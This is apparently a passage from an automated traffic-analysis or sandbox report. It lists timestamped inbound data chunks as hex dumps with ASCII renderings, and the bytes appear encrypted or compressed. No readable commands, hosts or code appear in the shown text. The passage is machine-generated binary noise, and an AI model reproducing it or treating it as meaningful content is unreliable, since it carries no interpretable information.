44 3e 02 c3 93 ae 70 4f cb 1c bc a5 be b5 ba 3c 34 a6 d9 ba 41 84 22 5f fb 47 a6 b0 79 6e da 9f c1 f2 26 25 f3 c4 3f 79 3d e3 21 27 41 62 40 c6 50 5a 9e f5 1c 2d 9f c1 8d a2 6f 45 e0 20 82 f3 fe 93 e3 2c 42 fe 9b 45 7e 68 b2 b5 94 Data Ascii: <k{4eafp+g0wo"];9WU"]Z%OgjIhJ=f0Dn5FF!HZedo^1[)T=D>pO<4A"_Gyn&%?y=!'Ab@PZ-oE ,BE~h
2021-12-01 08:15:23 UTC	3345	IN	Data Raw: 4b 79 6e 5c 0b 3e f5 98 0a 0b 69 ba 9b f7 32 3b 0b 2f 22 01 83 9a a1 59 d5 02 c9 22 58 de b9 1b f2 39 7c 6d 76 19 d0 f4 e5 23 b9 c2 03 ae a6 aa 7e f3 9a 19 fd a8 75 fc 45 0e 22 42 15 8d cf 91 e8 70 58 3b 0b d9 28 5b 0f 14 e1 00 ce 80 4e 43 72 b9 de 6e c6 dd 41 83 7b 6a a4 41 62 c8 87 7e 06 d0 35 e0 0a 81 fb b9 38 b5 7c 5b 39 ef 44 a1 63 63 9a 7f d0 9a 9d d3 6f 4a 3c e1 7b c0 43 32 b7 32 e1 f0 70 34 67 2c 31 83 e3 28 aa dd 96 8a d1 d8 5e 64 cf c9 b6 9e 6b 52 99 fc d4 a9 21 e5 76 3f 79 34 87 12 97 1d 18 f0 16 27 2f e1 57 63 58 b4 cc 67 a5 f8 66 d9 d8 a2 af 19 00 61 6c 90 92 42 81 c7 93 61 13 38 0f 3f 18 aa 93 72 41 f4 36 ef 75 ca 61 73 a6 e9 38 0c 04 b5 fc 4f 58 3f 76 a0 e4 df dd 93 57 09 0b d9 9a 17 06 91 0f 1a 36 3c 8b 6e 93 85 e7 62 5b cc df cb 1c da 82 Data Ascii: Kyn\>i2;/"Y"X9\|mv#~uE"BpX;([NCrnA{jAb~58\|[9DccoJ<{C22p4g,1(^dkR!v?y4'/WcXgfalBa8?rA6uas8OX?vW6<nb[
2021-12-01 08:15:23 UTC	3361	IN	Data Raw: 94 d7 36 db c9 3f c9 dd 3a c3 8b e8 c4 70 25 b1 a0 57 03 f4 2c 2b 2e af 44 a7 7e 75 cd b1 67 aa 31 fd 01 c2 61 5f aa 95 29 a0 38 fc c0 78 9a cf 01 37 db 8c 31 d7 98 a1 42 03 24 cd 34 47 33 8e 5a f1 0e 18 11 71 89 51 7f d7 af f7 8c c2 da 5e e8 26 ba 46 08 be c8 5d 47 09 61 3c ee 28 ff c8 9e 46 eb 8b 4e 66 a4 e4 36 13 72 11 6f f1 b0 8d 5e 75 87 76 5a b7 d9 e0 5f a1 b7 a0 6b 1d 81 90 f6 cb dc 44 a1 e7 3a 5a a6 a7 e4 cd 32 55 73 3e 6f 8b 57 15 c7 e4 1f 64 a7 9d 5f 95 a9 a8 7b 91 c0 35 71 1d 67 ed 3c 23 4b 0e e6 ba 40 11 39 25 5f 24 8d 40 29 3e f3 43 2f c6 2d 22 40 59 74 8f 06 d7 be 82 e8 ad d5 c8 c1 91 ff ec d5 e3 64 0a 2c ec e4 02 40 dc c5 65 66 7c ae 48 ce 01 e7 87 a6 94 9c fc 17 a3 cb fc 28 52 97 94 71 fe 00 1d 9f 84 74 c4 9d 35 14 ef ac e0 e4 90 53 ec 74 Data Ascii: 6?:p%W,+.D~ug1a_)8x71B$4G3ZqQ^&F]Ga<(FNf6ro^uvZ_kD:Z2Us>oWd_{5qg<#K@9%_$@)>C/-"@Ytd,@ef\|H(Rqt5St
2021-12-01 08:15:23 UTC	3377	IN	Data Raw: 7f a2 00 0c cb d8 36 98 bf 9d 3b 33 57 7c a3 24 e3 94 ca 19 db 4a dd 68 47 81 dd 25 59 d1 5b 14 44 70 14 c5 88 bd db 81 15 b1 5c 7c 8f 74 9c 0f 52 60 de e8 97 da 31 b3 f0 ff ae 30 34 6d b5 b9 99 04 57 ea 9e 4d 60 9e b3 2d 80 62 7f df 46 3f 23 87 c2 00 78 ff 53 f8 bd 06 7c a2 c0 4a cb a9 bf 70 4a 86 8e 6e 98 e7 fb ee 55 25 7e ce c2 da 07 c0 77 84 42 18 5d eb 8d 1f e9 59 b1 17 91 63 e9 e9 bc 3f 83 f7 00 c5 d0 a3 12 f1 45 9c 3a ed 6e 58 2b 59 44 8e ce 7f 9d c4 d6 00 7e 43 6d fd 2a 94 b9 31 4a c2 61 a6 98 ae 85 c6 ef 32 9b b3 77 e3 a5 c7 23 bf ac e2 a6 4c cb d9 de 25 7c 04 e4 d6 b5 00 cf 3c d4 cd 49 3a 57 1d 56 a0 95 5f 2c 59 56 49 f8 87 45 3b 7b 07 be 64 75 2e 66 0d 32 06 c1 82 66 4f ca e5 57 f5 1b f3 26 22 00 27 57 c5 c7 b1 0f fe 24 b9 63 44 c1 ff c2 23 bd Data Ascii: 6;3W\|$JhG%Y[Dp\\|tR`104mWM`-bF?#xS\|JpJnU%~wB]Yc?E:nX+YD~Cm*1Ja2w#L%\|<I:WV_,YVIE;{du.f2fOW&"'W$cD#
2021-12-01 08:15:23 UTC	3393	IN	Data Raw: 10 b6 3f e1 00 8f 15 d4 de ee e8 64 b9 67 78 9b 6d c7 54 37 d4 39 69 31 de 32 5e 1f 31 f0 f4 71 66 27 28 83 42 b6 78 00 87 ec 85 d8 de bf 4e 84 0b f6 d8 34 3b 5c a9 ab 93 f9 05 d6 f4 c9 11 56 05 28 8a be fc 45 46 aa 6b c3 af 54 50 44 fd b6 34 02 cf fb 69 bb 20 a6 44 3f 44 53 0d 7b 58 01 5c 60 ab 51 20 a7 15 7e 1d 9f b3 31 09 72 85 18 d4 ed 6b d3 df 6a b8 da d2 6d 21 c1 e9 7b c7 f7 a3 47 8f 67 4b d6 81 61 b3 33 b9 28 e1 e5 76 e6 55 58 49 f2 15 ae 2a c0 90 25 bc 7c c5 5f c2 7b 9d 7f 97 d2 f1 bd e7 ed 95 d7 bc ff bb 9e 20 52 71 b7 e0 14 99 1a eb ff cc d7 de ad a0 05 65 c3 d8 7d 84 e8 c4 38 c2 c2 fb 18 d1 19 10 0d 2a f2 39 db 29 f7 58 3f e1 5a 20 51 b3 f3 7c 78 f1 e4 60 51 04 47 96 20 37 fc e4 65 2d 7e 51 1d 28 9b e1 b5 b5 90 c1 36 23 b9 4d 38 4b 1f 54 5f f0 Data Ascii: ?dgxmT79i12^1qf'(BxN4;\V(EFkTPD4i D?DS{X\`Q ~1rkjm!{GgKa3(vUXI%\|_{ Rqe}89)X?Z Q\|x`QG 7e-~Q(6#M8KT_
2021-12-01 08:15:23 UTC	3409	IN	Data Raw: f3 e3 10 d8 8e 08 35 a8 03 5a 1f ce de bf 96 88 d3 fc 00 2b bc be cf f2 1b ab 58 69 39 1d 4a c9 ed 1e d4 63 01 7a 4d f4 4b c4 05 30 b2 89 69 06 a6 b4 5b db b3 0f fc b8 a4 f9 d5 9b 95 89 95 a4 47 3d 1d d1 18 48 ed 23 99 0c fb 04 d6 eb 6a 47 b7 9a ae 9f be a5 77 b7 56 be 9d ed 01 28 c5 ee 90 11 7f 9a 69 d1 43 6c ce 14 fc bb 66 7e 59 94 29 0b 44 b4 5a 16 d0 46 fd 50 03 6f 57 24 6e 56 20 6c ce 74 90 d2 01 05 7e 04 64 0a 0c 6d b7 8c 95 ff 30 3c 77 82 d7 cd 4b b6 5f 26 9f ff 30 0c bb 7f 4e 97 4e 45 6f 85 ac bd ef 93 9c c3 7e db 95 ea f1 22 32 c5 11 33 37 cd 2c 34 25 c8 cf 58 ef f0 95 09 33 1b 92 c8 b0 1b 78 48 d4 9e 1f 25 7c 03 7d 38 b8 15 ed 3f 38 f6 92 c4 9f 3f c0 41 a8 c3 62 f1 74 52 8c a5 c2 c5 5d 54 96 90 96 3f 84 a2 ca 56 8d f1 e3 d8 c2 24 db 87 12 d3 dd Data Ascii: 5Z+Xi9JczMK0i[G=H#jGwV(iClf~Y)DZFPoW$nV lt~dm0<wK_&0NNEo~"237,4%X3xH%\|}8?8?AbtR]T?V$
2021-12-01 08:15:23 UTC	3425	IN	Data Raw: 2f d4 4b d5 65 6e f9 e0 7b a3 2f 98 ae 72 10 fe 94 74 ab 92 a3 9d a3 d0 8b 62 bd ee 2b db af 87 35 a4 4d db 18 97 a7 a7 25 7e 86 e6 f2 37 8a 97 00 35 92 18 c3 b7 f7 5a 39 67 ed b7 21 c0 2a a3 da 94 9d 95 ae 63 99 f8 10 71 60 5d bd b2 26 c4 4f b7 7c d0 b8 2d e4 f5 22 c8 0f 55 f5 08 da c2 9a 94 46 37 00 f6 a5 d1 cd b3 2c de 2d 56 27 9c e3 6f fb 51 f3 16 c5 b9 fa a6 16 59 52 ca 74 d8 ee f9 82 29 6c 70 8e 0b ef cd 6f 52 54 75 1a 7f 8d a7 a1 21 2d 90 76 be a8 01 33 58 19 f8 83 e5 23 f7 6d 8e 25 42 79 aa 6a 2b 8a 7e 1a c4 25 ca ba 66 cd 1e 38 4a 0c f9 77 39 1b cb bb e9 c4 5a b9 96 0e 73 bc 5a ee 53 64 c5 42 5b 26 3f 3b 0e 90 8d 10 29 79 1a 0c ec b0 ca 36 86 54 e5 c8 90 b8 c7 5f 20 73 2a bd 1f 2f 39 d1 fc 70 e4 ee 86 16 44 5b 06 0f 64 a0 d9 58 1d ee 0c 9c 9d 8c Data Ascii: /Ken{/rtb+5M%~75Z9g!cq`]&O\|-"UF7,-V'oQYRt)lpoRTu!-v3X#m%Byj+~%f8Jw9ZsZSdB[&?;)y6T_ s/9pD[dX
2021-12-01 08:15:23 UTC	3441	IN	Data Raw: af fa d8 9f 74 61 74 0e 5e 35 59 fd be af 98 54 b9 a3 d3 08 92 fe c5 50 0b 1e df d2 64 49 a3 ab 96 c9 ff b4 1d 65 00 3a 08 27 f9 69 1b 71 25 64 c5 61 72 bd 60 6f cb 8a 7b 8b 3b ea 26 30 cb c1 44 da 2c 5f 7c ae b9 2f a9 2f 20 f2 64 9c f4 cf e7 99 71 79 68 ee 84 39 60 c2 c6 1c 69 5c ce 3d 44 b2 ac e0 52 68 b5 1f 6c cc b2 88 0c ef 3e 22 c3 07 28 77 36 4f 23 ad 24 b2 68 89 39 60 7d 45 60 ec 7a ee 81 6e 15 a3 67 4c 4c 33 d2 f4 e4 70 26 99 77 6b 6d 73 ef 4e 82 74 78 b5 0b 22 30 a6 8a 4c 66 c1 c0 82 54 db 42 1d 28 a5 02 a6 c9 9e e2 15 b4 47 b0 9f 65 8c c0 d9 43 2b 51 b9 ea aa e6 e0 ec bb 0d a2 6b 66 90 af 36 cb 36 2e bf 06 a0 11 45 37 1d 3e 88 93 3c 6b 72 74 b2 c0 f5 df ae 39 e1 d3 36 c1 d1 99 8e f5 cd 57 2e 51 66 c8 07 55 9a c5 ab 31 2d 9a ef 76 57 dc 36 d4 23 Data Ascii: tat^5YTPdIe:'iq%dar`o{;&0D,_\|// dqyh9`i\=DRhl>"(w6O#$h9`}E`zngLL3p&wkmsNtx"0LfTB(GeC+Qkf66.E7><krt96W.QfU1-vW6#
2021-12-01 08:15:23 UTC	3457	IN	Data Raw: 05 5c 6a 91 f2 ad 82 a5 29 f9 ca 2a 04 79 e0 09 85 25 df 5d 1d d7 ca 8f 56 a7 4f e1 5d 27 ef 06 8b 35 c7 58 12 c3 f1 56 90 5c 77 ea 82 02 b1 b2 01 6b 71 bc 71 c0 4d c6 d9 4a d8 e9 fe a5 be 6c 2d 6d 35 96 8e 21 79 77 3b 21 56 00 2a 13 10 00 b4 6a 4e 8d b7 a8 fd 74 ab 52 0e ea 84 78 bb 1f 14 e2 9c bb 5d 2d d6 e4 56 43 bd 2e 13 32 d4 cc 84 a1 bb 93 80 b6 07 1d fb 05 55 e4 c8 aa ac 6f 93 3e 2a cd 46 08 0a d7 b9 50 4c a3 fa c1 38 00 68 76 ca eb fc a9 7c 89 38 af 2f bd 1d 2a b3 5b d1 2c 1f ff ff a9 c6 2c 0d 58 e8 e9 13 9f 5d 8b 3e f4 fc 6d 87 56 64 70 22 e8 8d 61 49 2a ff 28 29 54 05 9c 5f 99 25 25 5f 23 44 6b b1 40 84 be dc 50 4d 4d 8f 45 b4 fd 5a 7a 2d 0a d5 14 45 7d 9c cb 3a 1d b7 2e 89 78 c7 6c 56 1e 9c ec 1b 2e 5d e1 60 49 b9 3f 62 af 76 e9 1c a6 47 b5 1c Data Ascii: \j)y%]VO]'5XV\wkqqMJl-m5!yw;!VjNtRx]-VC.2Uo>FPL8hv\|8/[,,X]>mVdp"aI*()T_%%_#Dk@PMMEZz-E}:.xlV.]`I?bvG
2021-12-01 08:15:23 UTC	3473	IN	Data Raw: 90 0d a5 7b 20 31 44 98 6a 7f 0b 68 40 ec ee 97 9f ea eb 14 6c 0b 71 59 da ee 9c 7c 7b 0f 3c 08 e7 84 9c 69 e6 f7 9a 95 95 de 1e bf d5 5d 4f a3 c8 63 fb 7d 1f c9 10 b9 02 4a 22 71 a2 f3 44 65 03 35 84 d7 a0 a4 ba e0 67 f9 8c 5c 5a 14 83 18 62 41 74 1a 66 40 e6 1e f0 6d b1 c3 1c 15 91 cc c5 aa 8a 26 85 c0 d3 1a 67 e4 45 b0 5b 0b 45 90 0f b9 f5 5d 87 18 66 73 fc c2 51 76 44 79 3a e0 d4 31 57 28 c1 9a 3c 3d 14 2c 2c 12 69 6c 76 1d a1 e4 5b 0a d1 29 8b f2 d4 43 e0 63 a2 f3 0f 9b 17 a5 45 4a 47 be 04 37 13 c3 2a f7 f3 5a 7b 65 58 e0 bf 92 a7 81 7a e4 86 22 fa d8 36 72 a9 9f 8d 69 13 aa e4 ab 23 cf b1 b7 a8 1a 3b e6 12 ee 91 d6 fe 01 f9 33 8f 49 70 73 88 76 9b e9 43 18 4d 11 80 46 bf d2 98 40 39 6f 24 e4 7e d4 a3 1d 60 8d e3 58 ae 0b 60 04 6e b6 25 c3 74 d0 c3 Data Ascii: { 1Djh@lqY\|{<i]Oc}J"qDe5g\ZbAtf@m&gE[E]fsQvDy:1W(<=,,ilv[)CcEJG7*Z{eXz"6ri#;3IpsvCMF@9o$~`X`n%t
2021-12-01 08:15:23 UTC	3489	IN	Data Raw: 7c bf 07 fb 66 95 bf b6 30 80 4f 91 ce 54 86 bd c7 04 68 94 c3 e1 7f 91 40 00 d2 fd 9b c1 2a 76 5e 00 59 f5 69 09 dc 8c 15 e8 32 c4 24 33 5d 35 8d 3b bb b0 14 e5 07 95 54 7c b4 f2 ef 40 b0 57 9d d8 b2 9e 26 6e 37 d5 21 27 c0 f4 31 f8 1b be f4 61 64 b4 5b 59 2e e3 01 57 ce 43 63 d2 92 d1 8d 7c 2d ec 6f 3f 0e 05 4d 66 c8 21 3b 3d df 4a 32 79 9a c6 cf af 43 f6 1e 3c 96 21 66 9c 48 41 1e 72 b0 0e 03 a3 ca 4d f8 c1 16 2b 85 28 35 e4 00 0e 46 a4 60 bc 4a cf 80 ea 1d e0 a1 c1 82 b1 ad 63 70 ca ff c6 65 8e 44 4c c2 00 ed 45 61 00 3f 8b e4 b2 d5 3d fb 57 cf a1 c8 da 44 ce 7f fe 65 a9 57 bd 72 d3 f6 7a 1c 7d 09 c6 45 98 9a d0 c5 42 ee fb ea 51 c8 07 5c 5e cf e0 c5 49 11 61 35 12 bd c8 8a 50 7b d5 ae 43 a1 91 7e 1a bf 85 52 3b 69 b3 0c 26 c6 c2 e9 86 c3 1d 1d 73 fc Data Ascii: \|f0OTh@*v^Yi2$3]5;T\|@W&n7!'1ad[Y.WCc\|-o?Mf!;=J2yC<!fHArM+(5F`JcpeDLEa?=WDeWrz}EBQ\^Ia5P{C~R;i&s
2021-12-01 08:15:23 UTC	3505	IN	Data Raw: a0 93 c3 b0 b1 8a 68 6a 56 bd e2 51 86 3b 20 6c 4d 3e f4 83 cb 9f 6c 64 c1 6a ec 1f 6c 9f 9a d3 a7 69 5d bd 4c 70 6d e7 c7 ad fd fc a7 d6 35 15 45 0a 24 78 8e c1 f7 6f f9 c9 97 7b 73 48 ca 63 02 cc 84 07 9b 96 b3 91 1f 34 19 46 b1 0d 85 89 64 e7 82 27 8d c7 47 93 a9 4c 19 47 b8 eb ad ad 7b 02 36 a3 62 5d 35 4e 68 29 dc eb 56 15 e9 85 99 7b 02 a4 05 d5 b9 9c 31 6e e9 aa 7e 10 7f 25 25 86 02 71 40 e0 d8 0e 08 cc e2 77 7b 79 34 cf 2e e6 e7 15 0f 2b cb fe 1e 6d 23 64 d9 ff a8 f0 5e c4 d1 c0 5a b0 4f a3 8d f3 2f 1e 23 3b 2c 27 6a 32 12 e4 88 c1 f4 36 40 31 a4 67 a8 35 d0 6a 16 37 d3 ab 22 31 82 70 9f 8a 0b 42 3d e4 e3 25 7a 98 d3 2b a3 22 2e 4e c8 f6 81 88 7c 5e 17 8e 78 6b be ee 1f 52 0e f5 ef 0b 1c 55 d6 97 1f 12 38 4b 84 66 88 d4 54 86 84 48 5e f9 e0 53 f2 Data Ascii: hjVQ; lM>ldjli]Lpm5E$xo{sHc4Fd'GLG{6b]5Nh)V{1n~%%q@w{y4.+m#d^ZO/#;,'j26@1g5j7"1pB=%z+".N\|^xkRU8KfTH^S
2021-12-01 08:15:23 UTC	3521	IN	Data Raw: 85 fd a8 34 1d 74 1d 45 2d 0c 03 bf 85 c0 38 46 8b 96 31 b8 cc 17 8d 4d 5f c9 ef f2 41 f2 e4 90 79 50 cd dc 47 d4 70 3e 9a a1 8f 7e a6 e5 b8 22 96 cd 1d 6d 8c 41 3b d1 ad 3e b8 43 e2 a5 38 ce 79 66 24 09 d3 f8 1d 92 78 0c 9c 3f 41 68 16 64 2c ff 6e fb 15 c1 56 ed 05 5b 01 0f 9c 5e 41 b5 12 e1 5b 48 23 a7 93 de d8 b0 eb 76 78 f5 83 e5 20 95 bb 1e ab c4 64 0f d6 ac dd 83 f8 79 a4 c5 e4 ab 7f 6b b7 c0 e8 11 8d af 9b ed 6c 4c 02 6a c7 26 22 61 eb 8b be 7f 86 63 3e d3 d6 08 68 9e 22 4f b7 8e 45 fa 4d de fc 1b 93 98 f0 1f 6d 2d 1d a5 52 ae 0a 4a 99 9a c2 22 a5 f3 65 15 35 98 fb 39 32 98 12 0b 0e 54 8a 7a 38 4a ed 98 44 b6 73 94 f1 1e 07 38 ba 39 96 a8 39 88 61 b9 49 e8 b5 9d b2 de cd b5 38 65 f4 4e b1 9a 2e d4 45 06 c4 11 e7 e0 f4 08 0f 2b 69 77 8b f1 d5 f0 c2 Data Ascii: 4tE-8F1M_AyPGp>~"mA;>C8yf$x?Ahd,nV[^A[H#vx dyklLj&"ac>h"OEMm-RJ"e592Tz8JDs899aI8eN.E+iw
2021-12-01 08:15:23 UTC	3537	IN	Data Raw: 41 37 54 d8 06 90 a6 1e 8a 32 2c f1 6d 18 1d 0b cf b2 b7 df 03 41 fb ee f7 fd c7 bf c5 6d a5 a7 a9 1c a2 00 2f 15 ad 63 64 f4 d2 d4 18 ce 86 fd 7d 7e 82 8f fe a5 24 02 32 72 8c 92 41 29 b9 72 98 a8 aa d5 ee 28 6e e1 7a 3e ab d1 a2 20 f7 b3 5f 9e 10 3c f7 a9 c3 1f 97 75 c6 e3 ae 42 d4 5c 49 80 47 ed d4 36 c0 65 cc c6 ac 30 60 b7 35 6c d3 ca fd 5d 4c 6d de ce 38 aa 35 8a a1 89 44 63 a7 23 94 ea c8 c6 fc 6e 89 18 21 bd b9 9c a9 89 36 39 81 c9 4c f2 dc be 2f 73 01 d4 00 1c 65 7c 9c 2c a7 4a 3d 5b 4c 8d f3 12 0c 0e d3 7f d5 c9 c1 5e d4 38 b2 99 65 b5 46 2a e3 9a 35 64 56 06 cc 5a 53 78 81 5a 06 f3 e7 cd f1 59 2e 74 be d4 45 21 ac 75 b5 d4 11 ca 20 e7 1a e5 84 87 f1 b4 cd 0c 59 39 95 f5 4c 26 0a 07 ee 76 51 96 ac 4e 6e c2 f8 49 10 e9 8b 2c 5a 24 60 95 66 5f 81 Data Ascii: A7T2,mAm/cd}~$2rA)r(nz> _<uB\IG6e0`5l]Lm85Dc#n!69L/se\|,J=[L^8eF*5dVZSxZY.tE!u Y9L&vQNnI,Z$`f_
2021-12-01 08:15:23 UTC	3545	IN	Data Raw: d7 b9 a2 27 41 ee fa 66 96 ba f3 a7 86 e6 40 0b 84 c8 71 df c4 6c 0e a6 7b d1 18 10 40 2a 57 a0 21 d9 98 1b 4f cf 74 50 de 8d 2d 11 fc d8 7c 26 0e be 50 ae 01 e5 18 93 ca 30 d7 ac 5e bd 86 08 59 3e b8 9a cc fc f9 5c 87 d5 8c 4d ed aa 76 7e 96 c6 ab 2d d2 b6 42 a6 26 1f 7b fa 81 3f 4b d5 ea 9e 1a 72 af 2c 5b f0 dd 87 9e e3 27 35 88 e5 e4 88 67 85 3e 44 ed 46 bb ff 7d e8 07 d3 1c 58 e6 3e a2 32 de 95 45 08 97 c7 a0 ba d3 3a 87 34 5d 89 a2 56 9b c0 e9 7a 29 28 01 88 7a 99 f4 e4 0f 73 2a db 3c 8d 72 27 63 37 1f 19 18 e4 f9 d7 4f 26 f8 c7 59 22 49 da f4 94 41 77 81 43 56 67 1d a5 6c c4 eb 76 7f 49 bc 6e 30 f7 fd 21 18 ec cc c9 a2 25 a4 67 fc 42 5d aa 47 5c 51 32 95 d4 43 ee 93 33 e3 82 d4 d3 57 1a b0 9c 91 79 8e ac 5f 2d 6f f5 4f 37 dc 20 4e d6 96 b3 d1 15 62 Data Ascii: 'Af@ql{@W!OtP-\|&P0^Y>\Mv~-B&{?Kr,['5g>DF}X>2E:4]Vz)(zs<r'c7O&Y"IAwCVglvIn0!%gB]G\Q2C3Wy_-oO7 Nb
2021-12-01 08:15:23 UTC	3561	IN	Data Raw: 5e a6 3a 43 b5 d2 39 0d 92 8f df 36 2d 40 a0 6c a9 de d3 48 b0 63 75 79 04 9d 9e 66 03 d0 9f 8d d0 c9 11 ea a7 12 7e 5a 86 56 06 d1 0c cc 8b db 01 32 f5 4d c5 59 e7 34 0b c9 da ef f3 1b b0 68 7c 75 60 de 34 a6 02 3c b3 bc 73 43 fd 59 51 ae 7c 00 4b d7 a9 33 be ef bd 4a fa 65 df 60 3a 47 30 11 73 89 8b 1c a7 1e 37 e9 76 b2 ae f4 2e 21 fd 00 de aa 10 0e 03 e4 0d ce 23 c6 6f b2 eb c0 f9 8b 33 76 ec af a6 ac 31 fe 7d 72 29 67 84 8f 29 c0 1d 3f 7a cc 53 a6 2d b1 2b ce c1 d8 b1 77 53 a7 16 9d 5c 78 a9 e4 24 83 cf 05 94 cf fc d9 cd 4e 29 9a 65 49 dc f8 83 2d 1f ca 3f d8 0f be ed 76 25 65 e9 39 03 6a 9e dc 94 9c fa 36 0f 67 67 e5 41 9c 65 39 6b 61 84 6f 82 73 ae fe 17 4e 18 a0 9a d9 02 9e 06 0b a5 9e 4a 95 5f a6 59 d9 16 2a aa 36 25 70 77 8f ca a4 09 3e 8a ca f8 Data Ascii: ^:C96-@lHcuyf~ZV2MY4h\|u`4<sCYQ\|K3Je`:G0s7v.!#o3v1}r)g)?zS-+wS\x$N)eI-?v%e9j6ggAe9kaosNJ_Y*6%pw>
2021-12-01 08:15:23 UTC	3577	IN	Data Raw: ae 23 4e 87 59 f5 37 fc f2 46 66 f0 9b 88 c2 1e 78 27 d6 3c ef 29 51 ac 98 79 8c 8d d7 f5 3c e9 79 b5 a6 62 fa dc 4e 51 cb c7 88 cc ed bd ea eb 3d 5a df 0d cc 94 dc d9 62 3c a5 85 69 71 d1 bc 88 73 9b 9e 1a fe 1e 7f 0e c6 50 f3 77 a4 12 e9 3e 2b 05 3b 3d 70 80 0c 0a e1 88 28 b6 26 b4 f5 c2 31 e9 5c f0 58 ff 71 84 6b 32 06 06 3c e4 cc d0 9c 7a 05 7f d5 bc d5 ec e4 ac ae 1c d1 e2 d2 e1 e3 18 6c 73 ad ee 8e 86 49 52 cb 36 25 f4 40 dc c5 14 ae 95 65 41 64 75 ea 08 c1 37 30 83 6b 0a e4 8c dc ca 6a f0 1e 23 45 ea 3c 16 18 0f 75 79 5b 03 39 cc 7b 42 c8 ae 35 ae 40 c8 72 f2 84 74 2f ce 3d 69 0c 1a d5 e0 2c 03 30 ef 3e 9f 0a 93 34 10 7b fb d5 3f 98 ac 49 21 8b c1 3a 78 c0 5a 52 f8 79 f8 2e 21 89 56 62 c4 c9 eb a5 ac b9 cd 41 7e e9 2b 25 38 5e 0f 5c 3b c1 72 e7 e4 Data Ascii: #NY7Ffx'<)Qy<ybNQ=Zb<iqsPw>+;=p(&1\Xqk2<zlsIR6%@eAdu70kj#E<uy[9{B5@rt/=i,0>4{?I!:xZRy.!VbA~+%8^\;r
2021-12-01 08:15:23 UTC	3593	IN	Data Raw: d7 51 87 ea 29 86 d9 43 ec 24 c7 27 eb 29 70 ce 63 30 ef f9 78 be 1e 3a 2f 02 a1 74 64 f4 a4 87 af c0 c8 e5 4a 4c f9 bc 44 ec 24 d5 21 74 94 74 22 23 a0 77 77 b2 d1 89 43 b6 78 7a 30 07 ed 8b 77 d9 fa d1 bd 0f 6b f6 59 ea e0 9b a1 0d 06 82 71 4c 04 e5 e5 97 24 25 4c b9 9d 9a 94 74 4a 13 a9 77 76 70 c3 cc 81 5a 3d 18 3e f1 bc cf a5 47 f2 34 36 d1 05 1f 4b 25 36 2f c4 5f c6 6e ac f2 1f d1 54 ec c3 e1 9b b3 aa 4b a7 77 71 d5 e5 ce fe d4 e8 7d ba 4a c7 a1 87 53 fb e9 69 45 e3 23 ab 4e 5f 07 87 26 9b b3 1f ba 14 1b cf 76 ec 40 d6 9c 7a 88 f0 10 4a e5 6c 82 c2 2d 06 4f 26 3e 02 11 e8 e9 e5 49 c9 de 8a 56 1f 1b 39 ff b9 60 78 6e 95 d6 be 60 16 30 9b 4b 2e 89 da d4 80 73 a2 9c a3 19 e1 5a 27 99 a4 58 2e fb 47 fb a1 a3 56 12 bb 5a 2f 80 73 ab 72 3f 0d 16 e9 03 17 Data Ascii: Q)C$')pc0x:/tdJLD$!tt"#wwCxz0wkYqL$%LtJwvpZ=>G46K%6/_nTKwq}JSiE#N_&v@zJl-O&>IV9`xn`0K.sZ'X.GVZ/sr?
2021-12-01 08:15:23 UTC	3609	IN	Data Raw: a4 c6 19 ec bd 3c f3 de 13 26 eb 33 4f cd ba f5 e1 7d e8 aa 3d 06 22 14 d1 70 93 84 dd e5 84 4c ea 68 57 2f 32 42 b5 6c 10 8d 48 ce b0 4e 14 9e b5 eb c6 d5 7b 3c 6a 8d 37 c7 14 82 db 32 e5 63 1f 28 83 7c b4 cc ce 47 e7 2d 02 16 1f 5a fc ba b0 40 d1 46 2a 6d 55 d6 4e 7f 89 3c 87 80 cc 45 81 e2 3a 17 32 36 63 b8 c8 9f 96 91 4e 1e 89 ac 9a ba 0d 67 c1 e5 d3 1c 98 32 1e 58 3d c5 f3 2c c4 62 1e e4 8e 0d a1 68 c1 05 14 cd c8 ab 9f ce 3d 41 31 69 fc 19 67 27 61 a2 d9 c9 cb cf 92 99 db d8 84 0d e0 f6 05 a7 1e 66 85 bc a0 a0 7d e3 50 c1 23 5f 37 bf 48 1f c2 c9 c0 3e 06 d5 16 5e 7a 5f b7 49 e3 0d e5 5c 9d 40 aa ef 3b 4b 88 a4 ff 84 6e 11 91 33 31 9e 72 c9 6b c7 e8 75 d2 4a be ce 0f 4d 6f 6b 25 b2 ad 8d 45 6f 70 1d 25 fb e7 b7 84 06 1f 3a cf 50 f3 72 77 36 51 ae 64 Data Ascii: <&3O}="pLhW/2BlHN{<j72c(\|G-Z@F*mUN<E:26cNg2X=,bh=A1ig'af}P#_7H>^z_I\@;Kn31rkuJMok%Eop%:Prw6Qd
2021-12-01 08:15:23 UTC	3625	IN	Data Raw: fc 17 75 f9 b4 e0 c0 8a d7 c9 0a dd 41 07 5d 05 3e f6 d5 a7 b5 67 21 bb 50 95 5d ec 68 78 fb 5d 2d 16 91 fa a4 7e 7c c7 6d 37 b9 a1 e4 e3 97 be 18 dc ca b1 f1 e7 a6 7f 62 43 71 78 cc 4b 93 c3 55 6a a8 5c 49 aa 68 68 e7 74 54 4c a6 6f da eb 62 3f 3b a8 1e 49 46 c8 4a d2 ee b3 a6 f4 2f bd 39 8a 68 3c df 05 ba 2a 1b 11 c9 36 32 e7 e6 cb 08 3d d9 6c ce 0d e1 83 ea b0 ba 07 6d af 8c a2 02 cc 54 db b7 20 bd 8b 1e 2e ea 9d 51 15 ab 1b 4c 84 92 ee b0 0b cb 08 91 4d 8c 8c 4d 22 7c 4e 32 ba 80 1a 27 db b9 d2 d0 4f b3 b9 2a e7 79 df 4d 12 ce 3d 33 75 87 22 1c 18 89 c4 05 97 8b 9e 9c b1 4d d3 2b 10 6d 1e a4 04 7b 53 83 db 06 5f 8d 9c 9e d0 90 75 fa dc f0 8d 7d d3 b6 e2 a1 04 22 08 fc 59 78 14 e1 00 f4 fb dc e6 e9 f2 5a 00 e0 ea 41 9f 27 34 69 5c f7 b7 8d 99 9c 4c d0 Data Ascii: uA]>g!P]hx]-~\|m7bCqxKUj\IhhtTLob?;IFJ/9h<62=lmT .QLMM"\|N2'OyM=3u"M+m{S_u}"YxZA'4i\L
